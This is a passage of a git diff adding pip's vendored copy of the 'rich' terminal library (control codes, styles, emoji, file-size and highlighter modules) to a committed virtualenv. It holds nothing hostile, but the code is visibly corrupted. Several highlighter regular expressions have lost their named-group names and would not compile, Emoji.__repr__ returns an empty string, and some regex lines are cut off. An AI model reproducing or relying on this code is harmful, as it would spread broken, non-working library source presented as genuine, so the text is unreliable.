cursor). + + Args: + *codes (str): Positional arguments are either a :class:`~rich.segment.ControlType` enum or a + tuple of ControlType and an integer parameter + """ + + __slots__ = ["segment"] + + def __init__(self, *codes: Union[ControlType, ControlCode]) -> None: + control_codes: List[ControlCode] = [ + (code,) if isinstance(code, ControlType) else code for code in codes + ] + _format_map = CONTROL_CODES_FORMAT + rendered_codes = "".join( + _format_map[code](*parameters) for code, *parameters in control_codes + ) + self.segment = Segment(rendered_codes, None, control_codes) + + @classmethod + def bell(cls) -> "Control": + """Ring the 'bell'.""" + return cls(ControlType.BELL) + + @classmethod + def home(cls) -> "Control": + """Move cursor to 'home' position.""" + return cls(ControlType.HOME) + + @classmethod + def move(cls, x: int = 0, y: int = 0) -> "Control": + """Move cursor relative to current position. + + Args: + x (int): X offset. + y (int): Y offset. + + Returns: + ~Control: Control object. + + """ + + def get_codes() -> Iterable[ControlCode]: + control = ControlType + if x: + yield ( + control.CURSOR_FORWARD if x > 0 else control.CURSOR_BACKWARD, + abs(x), + ) + if y: + yield ( + control.CURSOR_DOWN if y > 0 else control.CURSOR_UP, + abs(y), + ) + + control = cls(*get_codes()) + return control + + @classmethod + def move_to_column(cls, x: int, y: int = 0) -> "Control": + """Move to the given column, optionally add offset to row. + + Returns: + x (int): absolute x (column) + y (int): optional y offset (row) + + Returns: + ~Control: Control object. + """ + + return ( + cls( + (ControlType.CURSOR_MOVE_TO_COLUMN, x), + ( + ControlType.CURSOR_DOWN if y > 0 else ControlType.CURSOR_UP, + abs(y), + ), + ) + if y + else cls((ControlType.CURSOR_MOVE_TO_COLUMN, x)) + ) + + @classmethod + def move_to(cls, x: int, y: int) -> "Control": + """Move cursor to absolute position. + + Args: + x (int): x offset (column) + y (int): y offset (row) + + Returns: + ~Control: Control object. + """ + return cls((ControlType.CURSOR_MOVE_TO, x, y)) + + @classmethod + def clear(cls) -> "Control": + """Clear the screen.""" + return cls(ControlType.CLEAR) + + @classmethod + def show_cursor(cls, show: bool) -> "Control": + """Show or hide the cursor.""" + return cls(ControlType.SHOW_CURSOR if show else ControlType.HIDE_CURSOR) + + @classmethod + def alt_screen(cls, enable: bool) -> "Control": + """Enable or disable alt screen.""" + if enable: + return cls(ControlType.ENABLE_ALT_SCREEN, ControlType.HOME) + else: + return cls(ControlType.DISABLE_ALT_SCREEN) + + @classmethod + def title(cls, title: str) -> "Control": + """Set the terminal window title + + Args: + title (str): The new terminal window title + """ + return cls((ControlType.SET_WINDOW_TITLE, title)) + + def __str__(self) -> str: + return self.segment.text + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + if self.segment.text: + yield self.segment + + +def strip_control_codes( + text: str, _translate_table: Dict[int, None] = _CONTROL_STRIP_TRANSLATE +) -> str: + """Remove control codes from text. + + Args: + text (str): A string possibly contain control codes. + + Returns: + str: String with control codes removed. + """ + return text.translate(_translate_table) + + +def escape_control_codes( + text: str, + _translate_table: Dict[int, str] = CONTROL_ESCAPE, +) -> str: + """Replace control codes with their "escaped" equivalent in the given text. + (e.g. "\b" becomes "\\b") + + Args: + text (str): A string possibly containing control codes. + + Returns: + str: String with control codes replaced with their escaped version. + """ + return text.translate(_translate_table) + + +if __name__ == "__main__": # pragma: no cover + from pip._vendor.rich.console import Console + + console = Console() + console.print("Look at the title of your terminal window ^") + # console.print(Control((ControlType.SET_WINDOW_TITLE, "Hello, world!"))) + for i in range(10): + console.set_window_title("🚀 Loading" + "." * i) + time.sleep(0.5) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py b/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py new file mode 100644 index 00000000000..dca37193abf --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/default_styles.py @@ -0,0 +1,190 @@ +from typing import Dict + +from .style import Style + +DEFAULT_STYLES: Dict[str, Style] = { + "none": Style.null(), + "reset": Style( + color="default", + bgcolor="default", + dim=False, + bold=False, + italic=False, + underline=False, + blink=False, + blink2=False, + reverse=False, + conceal=False, + strike=False, + ), + "dim": Style(dim=True), + "bright": Style(dim=False), + "bold": Style(bold=True), + "strong": Style(bold=True), + "code": Style(reverse=True, bold=True), + "italic": Style(italic=True), + "emphasize": Style(italic=True), + "underline": Style(underline=True), + "blink": Style(blink=True), + "blink2": Style(blink2=True), + "reverse": Style(reverse=True), + "strike": Style(strike=True), + "black": Style(color="black"), + "red": Style(color="red"), + "green": Style(color="green"), + "yellow": Style(color="yellow"), + "magenta": Style(color="magenta"), + "cyan": Style(color="cyan"), + "white": Style(color="white"), + "inspect.attr": Style(color="yellow", italic=True), + "inspect.attr.dunder": Style(color="yellow", italic=True, dim=True), + "inspect.callable": Style(bold=True, color="red"), + "inspect.async_def": Style(italic=True, color="bright_cyan"), + "inspect.def": Style(italic=True, color="bright_cyan"), + "inspect.class": Style(italic=True, color="bright_cyan"), + "inspect.error": Style(bold=True, color="red"), + "inspect.equals": Style(), + "inspect.help": Style(color="cyan"), + "inspect.doc": Style(dim=True), + "inspect.value.border": Style(color="green"), + "live.ellipsis": Style(bold=True, color="red"), + "layout.tree.row": Style(dim=False, color="red"), + "layout.tree.column": Style(dim=False, color="blue"), + "logging.keyword": Style(bold=True, color="yellow"), + "logging.level.notset": Style(dim=True), + "logging.level.debug": Style(color="green"), + "logging.level.info": Style(color="blue"), + "logging.level.warning": Style(color="red"), + "logging.level.error": Style(color="red", bold=True), + "logging.level.critical": Style(color="red", bold=True, reverse=True), + "log.level": Style.null(), + "log.time": Style(color="cyan", dim=True), + "log.message": Style.null(), + "log.path": Style(dim=True), + "repr.ellipsis": Style(color="yellow"), + "repr.indent": Style(color="green", dim=True), + "repr.error": Style(color="red", bold=True), + "repr.str": Style(color="green", italic=False, bold=False), + "repr.brace": Style(bold=True), + "repr.comma": Style(bold=True), + "repr.ipv4": Style(bold=True, color="bright_green"), + "repr.ipv6": Style(bold=True, color="bright_green"), + "repr.eui48": Style(bold=True, color="bright_green"), + "repr.eui64": Style(bold=True, color="bright_green"), + "repr.tag_start": Style(bold=True), + "repr.tag_name": Style(color="bright_magenta", bold=True), + "repr.tag_contents": Style(color="default"), + "repr.tag_end": Style(bold=True), + "repr.attrib_name": Style(color="yellow", italic=False), + "repr.attrib_equal": Style(bold=True), + "repr.attrib_value": Style(color="magenta", italic=False), + "repr.number": Style(color="cyan", bold=True, italic=False), + "repr.number_complex": Style(color="cyan", bold=True, italic=False), # same + "repr.bool_true": Style(color="bright_green", italic=True), + "repr.bool_false": Style(color="bright_red", italic=True), + "repr.none": Style(color="magenta", italic=True), + "repr.url": Style(underline=True, color="bright_blue", italic=False, bold=False), + "repr.uuid": Style(color="bright_yellow", bold=False), + "repr.call": Style(color="magenta", bold=True), + "repr.path": Style(color="magenta"), + "repr.filename": Style(color="bright_magenta"), + "rule.line": Style(color="bright_green"), + "rule.text": Style.null(), + "json.brace": Style(bold=True), + "json.bool_true": Style(color="bright_green", italic=True), + "json.bool_false": Style(color="bright_red", italic=True), + "json.null": Style(color="magenta", italic=True), + "json.number": Style(color="cyan", bold=True, italic=False), + "json.str": Style(color="green", italic=False, bold=False), + "json.key": Style(color="blue", bold=True), + "prompt": Style.null(), + "prompt.choices": Style(color="magenta", bold=True), + "prompt.default": Style(color="cyan", bold=True), + "prompt.invalid": Style(color="red"), + "prompt.invalid.choice": Style(color="red"), + "pretty": Style.null(), + "scope.border": Style(color="blue"), + "scope.key": Style(color="yellow", italic=True), + "scope.key.special": Style(color="yellow", italic=True, dim=True), + "scope.equals": Style(color="red"), + "table.header": Style(bold=True), + "table.footer": Style(bold=True), + "table.cell": Style.null(), + "table.title": Style(italic=True), + "table.caption": Style(italic=True, dim=True), + "traceback.error": Style(color="red", italic=True), + "traceback.border.syntax_error": Style(color="bright_red"), + "traceback.border": Style(color="red"), + "traceback.text": Style.null(), + "traceback.title": Style(color="red", bold=True), + "traceback.exc_type": Style(color="bright_red", bold=True), + "traceback.exc_value": Style.null(), + "traceback.offset": Style(color="bright_red", bold=True), + "bar.back": Style(color="grey23"), + "bar.complete": Style(color="rgb(249,38,114)"), + "bar.finished": Style(color="rgb(114,156,31)"), + "bar.pulse": Style(color="rgb(249,38,114)"), + "progress.description": Style.null(), + "progress.filesize": Style(color="green"), + "progress.filesize.total": Style(color="green"), + "progress.download": Style(color="green"), + "progress.elapsed": Style(color="yellow"), + "progress.percentage": Style(color="magenta"), + "progress.remaining": Style(color="cyan"), + "progress.data.speed": Style(color="red"), + "progress.spinner": Style(color="green"), + "status.spinner": Style(color="green"), + "tree": Style(), + "tree.line": Style(), + "markdown.paragraph": Style(), + "markdown.text": Style(), + "markdown.em": Style(italic=True), + "markdown.emph": Style(italic=True), # For commonmark backwards compatibility + "markdown.strong": Style(bold=True), + "markdown.code": Style(bold=True, color="cyan", bgcolor="black"), + "markdown.code_block": Style(color="cyan", bgcolor="black"), + "markdown.block_quote": Style(color="magenta"), + "markdown.list": Style(color="cyan"), + "markdown.item": Style(), + "markdown.item.bullet": Style(color="yellow", bold=True), + "markdown.item.number": Style(color="yellow", bold=True), + "markdown.hr": Style(color="yellow"), + "markdown.h1.border": Style(), + "markdown.h1": Style(bold=True), + "markdown.h2": Style(bold=True, underline=True), + "markdown.h3": Style(bold=True), + "markdown.h4": Style(bold=True, dim=True), + "markdown.h5": Style(underline=True), + "markdown.h6": Style(italic=True), + "markdown.h7": Style(italic=True, dim=True), + "markdown.link": Style(color="bright_blue"), + "markdown.link_url": Style(color="blue", underline=True), + "markdown.s": Style(strike=True), + "iso8601.date": Style(color="blue"), + "iso8601.time": Style(color="magenta"), + "iso8601.timezone": Style(color="yellow"), +} + + +if __name__ == "__main__": # pragma: no cover + import argparse + import io + + from pip._vendor.rich.console import Console + from pip._vendor.rich.table import Table + from pip._vendor.rich.text import Text + + parser = argparse.ArgumentParser() + parser.add_argument("--html", action="store_true", help="Export as HTML table") + args = parser.parse_args() + html: bool = args.html + console = Console(record=True, width=70, file=io.StringIO()) if html else Console() + + table = Table("Name", "Styling") + + for style_name, style in DEFAULT_STYLES.items(): + table.add_row(Text(style_name, style=style), str(style)) + + console.print(table) + if html: + print(console.export_html(inline_styles=True)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py b/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py new file mode 100644 index 00000000000..ad36183898e --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/diagnose.py @@ -0,0 +1,37 @@ +import os +import platform + +from pip._vendor.rich import inspect +from pip._vendor.rich.console import Console, get_windows_console_features +from pip._vendor.rich.panel import Panel +from pip._vendor.rich.pretty import Pretty + + +def report() -> None: # pragma: no cover + """Print a report to the terminal with debugging information""" + console = Console() + inspect(console) + features = get_windows_console_features() + inspect(features) + + env_names = ( + "TERM", + "COLORTERM", + "CLICOLOR", + "NO_COLOR", + "TERM_PROGRAM", + "COLUMNS", + "LINES", + "JUPYTER_COLUMNS", + "JUPYTER_LINES", + "JPY_PARENT_PID", + "VSCODE_VERBOSE_LOGGING", + ) + env = {name: os.getenv(name) for name in env_names} + console.print(Panel.fit((Pretty(env)), title="[b]Environment Variables")) + + console.print(f'platform="{platform.system()}"') + + +if __name__ == "__main__": # pragma: no cover + report() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/emoji.py b/venv/Lib/site-packages/pip/_vendor/rich/emoji.py new file mode 100644 index 00000000000..791f0465de1 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/emoji.py @@ -0,0 +1,96 @@ +import sys +from typing import TYPE_CHECKING, Optional, Union + +from .jupyter import JupyterMixin +from .segment import Segment +from .style import Style +from ._emoji_codes import EMOJI +from ._emoji_replace import _emoji_replace + +if sys.version_info >= (3, 8): + from typing import Literal +else: + from pip._vendor.typing_extensions import Literal # pragma: no cover + + +if TYPE_CHECKING: + from .console import Console, ConsoleOptions, RenderResult + + +EmojiVariant = Literal["emoji", "text"] + + +class NoEmoji(Exception): + """No emoji by that name.""" + + +class Emoji(JupyterMixin): + __slots__ = ["name", "style", "_char", "variant"] + + VARIANTS = {"text": "\uFE0E", "emoji": "\uFE0F"} + + def __init__( + self, + name: str, + style: Union[str, Style] = "none", + variant: Optional[EmojiVariant] = None, + ) -> None: + """A single emoji character. + + Args: + name (str): Name of emoji. + style (Union[str, Style], optional): Optional style. Defaults to None. + + Raises: + NoEmoji: If the emoji doesn't exist. + """ + self.name = name + self.style = style + self.variant = variant + try: + self._char = EMOJI[name] + except KeyError: + raise NoEmoji(f"No emoji called {name!r}") + if variant is not None: + self._char += self.VARIANTS.get(variant, "") + + @classmethod + def replace(cls, text: str) -> str: + """Replace emoji markup with corresponding unicode characters. + + Args: + text (str): A string with emojis codes, e.g. "Hello :smiley:!" + + Returns: + str: A string with emoji codes replaces with actual emoji. + """ + return _emoji_replace(text) + + def __repr__(self) -> str: + return f"" + + def __str__(self) -> str: + return self._char + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + yield Segment(self._char, console.get_style(self.style)) + + +if __name__ == "__main__": # pragma: no cover + import sys + + from pip._vendor.rich.columns import Columns + from pip._vendor.rich.console import Console + + console = Console(record=True) + + columns = Columns( + (f":{name}: {name}" for name in sorted(EMOJI.keys()) if "\u200D" not in name), + column_first=True, + ) + + console.print(columns) + if len(sys.argv) > 1: + console.save_html(sys.argv[1]) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/errors.py b/venv/Lib/site-packages/pip/_vendor/rich/errors.py new file mode 100644 index 00000000000..0bcbe53ef59 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/errors.py @@ -0,0 +1,34 @@ +class ConsoleError(Exception): + """An error in console operation.""" + + +class StyleError(Exception): + """An error in styles.""" + + +class StyleSyntaxError(ConsoleError): + """Style was badly formatted.""" + + +class MissingStyle(StyleError): + """No such style.""" + + +class StyleStackError(ConsoleError): + """Style stack is invalid.""" + + +class NotRenderableError(ConsoleError): + """Object is not renderable.""" + + +class MarkupError(ConsoleError): + """Markup was badly formatted.""" + + +class LiveError(ConsoleError): + """Error related to Live display.""" + + +class NoAltScreen(ConsoleError): + """Alt screen mode was required.""" diff --git a/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py b/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py new file mode 100644 index 00000000000..4b0b0da6c2a --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/file_proxy.py @@ -0,0 +1,57 @@ +import io +from typing import IO, TYPE_CHECKING, Any, List + +from .ansi import AnsiDecoder +from .text import Text + +if TYPE_CHECKING: + from .console import Console + + +class FileProxy(io.TextIOBase): + """Wraps a file (e.g. sys.stdout) and redirects writes to a console.""" + + def __init__(self, console: "Console", file: IO[str]) -> None: + self.__console = console + self.__file = file + self.__buffer: List[str] = [] + self.__ansi_decoder = AnsiDecoder() + + @property + def rich_proxied_file(self) -> IO[str]: + """Get proxied file.""" + return self.__file + + def __getattr__(self, name: str) -> Any: + return getattr(self.__file, name) + + def write(self, text: str) -> int: + if not isinstance(text, str): + raise TypeError(f"write() argument must be str, not {type(text).__name__}") + buffer = self.__buffer + lines: List[str] = [] + while text: + line, new_line, text = text.partition("\n") + if new_line: + lines.append("".join(buffer) + line) + buffer.clear() + else: + buffer.append(line) + break + if lines: + console = self.__console + with console: + output = Text("\n").join( + self.__ansi_decoder.decode_line(line) for line in lines + ) + console.print(output) + return len(text) + + def flush(self) -> None: + output = "".join(self.__buffer) + if output: + self.__console.print(output) + del self.__buffer[:] + + def fileno(self) -> int: + return self.__file.fileno() diff --git a/venv/Lib/site-packages/pip/_vendor/rich/filesize.py b/venv/Lib/site-packages/pip/_vendor/rich/filesize.py new file mode 100644 index 00000000000..99f118e2010 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/filesize.py @@ -0,0 +1,89 @@ +# coding: utf-8 +"""Functions for reporting filesizes. Borrowed from https://github.com/PyFilesystem/pyfilesystem2 + +The functions declared in this module should cover the different +use cases needed to generate a string representation of a file size +using several different units. Since there are many standards regarding +file size units, three different functions have been implemented. + +See Also: + * `Wikipedia: Binary prefix `_ + +""" + +__all__ = ["decimal"] + +from typing import Iterable, List, Optional, Tuple + + +def _to_str( + size: int, + suffixes: Iterable[str], + base: int, + *, + precision: Optional[int] = 1, + separator: Optional[str] = " ", +) -> str: + if size == 1: + return "1 byte" + elif size < base: + return "{:,} bytes".format(size) + + for i, suffix in enumerate(suffixes, 2): # noqa: B007 + unit = base**i + if size < unit: + break + return "{:,.{precision}f}{separator}{}".format( + (base * size / unit), + suffix, + precision=precision, + separator=separator, + ) + + +def pick_unit_and_suffix(size: int, suffixes: List[str], base: int) -> Tuple[int, str]: + """Pick a suffix and base for the given size.""" + for i, suffix in enumerate(suffixes): + unit = base**i + if size < unit * base: + break + return unit, suffix + + +def decimal( + size: int, + *, + precision: Optional[int] = 1, + separator: Optional[str] = " ", +) -> str: + """Convert a filesize in to a string (powers of 1000, SI prefixes). + + In this convention, ``1000 B = 1 kB``. + + This is typically the format used to advertise the storage + capacity of USB flash drives and the like (*256 MB* meaning + actually a storage capacity of more than *256 000 000 B*), + or used by **Mac OS X** since v10.6 to report file sizes. + + Arguments: + int (size): A file size. + int (precision): The number of decimal places to include (default = 1). + str (separator): The string to separate the value from the units (default = " "). + + Returns: + `str`: A string containing a abbreviated file size and units. + + Example: + >>> filesize.decimal(30000) + '30.0 kB' + >>> filesize.decimal(30000, precision=2, separator="") + '30.00kB' + + """ + return _to_str( + size, + ("kB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"), + 1000, + precision=precision, + separator=separator, + ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py b/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py new file mode 100644 index 00000000000..27714b25b40 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/highlighter.py @@ -0,0 +1,232 @@ +import re +from abc import ABC, abstractmethod +from typing import List, Union + +from .text import Span, Text + + +def _combine_regex(*regexes: str) -> str: + """Combine a number of regexes in to a single regex. + + Returns: + str: New regex with all regexes ORed together. + """ + return "|".join(regexes) + + +class Highlighter(ABC): + """Abstract base class for highlighters.""" + + def __call__(self, text: Union[str, Text]) -> Text: + """Highlight a str or Text instance. + + Args: + text (Union[str, ~Text]): Text to highlight. + + Raises: + TypeError: If not called with text or str. + + Returns: + Text: A test instance with highlighting applied. + """ + if isinstance(text, str): + highlight_text = Text(text) + elif isinstance(text, Text): + highlight_text = text.copy() + else: + raise TypeError(f"str or Text instance required, not {text!r}") + self.highlight(highlight_text) + return highlight_text + + @abstractmethod + def highlight(self, text: Text) -> None: + """Apply highlighting in place to text. + + Args: + text (~Text): A text object highlight. + """ + + +class NullHighlighter(Highlighter): + """A highlighter object that doesn't highlight. + + May be used to disable highlighting entirely. + + """ + + def highlight(self, text: Text) -> None: + """Nothing to do""" + + +class RegexHighlighter(Highlighter): + """Applies highlighting from a list of regular expressions.""" + + highlights: List[str] = [] + base_style: str = "" + + def highlight(self, text: Text) -> None: + """Highlight :class:`rich.text.Text` using regular expressions. + + Args: + text (~Text): Text to highlighted. + + """ + + highlight_regex = text.highlight_regex + for re_highlight in self.highlights: + highlight_regex(re_highlight, style_prefix=self.base_style) + + +class ReprHighlighter(RegexHighlighter): + """Highlights the text typically produced from ``__repr__`` methods.""" + + base_style = "repr." + highlights = [ + r"(?P<)(?P[-\w.:|]*)(?P[\w\W]*)(?P>)", + r'(?P[\w_]{1,50})=(?P"?[\w_]+"?)?', + r"(?P[][{}()])", + _combine_regex( + r"(?P[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})", + r"(?P([A-Fa-f0-9]{1,4}::?){1,7}[A-Fa-f0-9]{1,4})", + r"(?P(?:[0-9A-Fa-f]{1,2}-){7}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{1,2}:){7}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{4}\.){3}[0-9A-Fa-f]{4})", + r"(?P(?:[0-9A-Fa-f]{1,2}-){5}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{1,2}:){5}[0-9A-Fa-f]{1,2}|(?:[0-9A-Fa-f]{4}\.){2}[0-9A-Fa-f]{4})", + r"(?P[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})", + r"(?P[\w.]*?)\(", + r"\b(?PTrue)\b|\b(?PFalse)\b|\b(?PNone)\b", + r"(?P\.\.\.)", + r"(?P(?(?\B(/[-\w._+]+)*\/)(?P[-\w._+]*)?", + r"(?b?'''.*?(?(file|https|http|ws|wss)://[-0-9a-zA-Z$_+!`(),.?/;:&=%#~]*)", + ), + ] + + +class JSONHighlighter(RegexHighlighter): + """Highlights JSON""" + + # Captures the start and end of JSON strings, handling escaped quotes + JSON_STR = r"(?b?\".*?(?[\{\[\(\)\]\}])", + r"\b(?Ptrue)\b|\b(?Pfalse)\b|\b(?Pnull)\b", + r"(?P(? None: + super().highlight(text) + + # Additional work to handle highlighting JSON keys + plain = text.plain + append = text.spans.append + whitespace = self.JSON_WHITESPACE + for match in re.finditer(self.JSON_STR, plain): + start, end = match.span() + cursor = end + while cursor < len(plain): + char = plain[cursor] + cursor += 1 + if char == ":": + append(Span(start, end, "json.key")) + elif char in whitespace: + continue + break + + +class ISO8601Highlighter(RegexHighlighter): + """Highlights the ISO8601 date time strings. + Regex reference: https://www.oreilly.com/library/view/regular-expressions-cookbook/9781449327453/ch04s07.html + """ + + base_style = "iso8601." + highlights = [ + # + # Dates + # + # Calendar month (e.g. 2008-08). The hyphen is required + r"^(?P[0-9]{4})-(?P1[0-2]|0[1-9])$", + # Calendar date w/o hyphens (e.g. 20080830) + r"^(?P(?P[0-9]{4})(?P1[0-2]|0[1-9])(?P3[01]|0[1-9]|[12][0-9]))$", + # Ordinal date (e.g. 2008-243). The hyphen is optional + r"^(?P(?P[0-9]{4})-?(?P36[0-6]|3[0-5][0-9]|[12][0-9]{2}|0[1-9][0-9]|00[1-9]))$", + # + # Weeks + # + # Week of the year (e.g., 2008-W35). The hyphen is optional + r"^(?P(?P[0-9]{4})-?W(?P5[0-3]|[1-4][0-9]|0[1-9]))$", + # Week date (e.g., 2008-W35-6). The hyphens are optional + r"^(?P(?P[0-9]{4})-?W(?P5[0-3]|[1-4][0-9]|0[1-9])-?(?P[1-7]))$", + # + # Times + # + # Hours and minutes (e.g., 17:21). The colon is optional + r"^(?P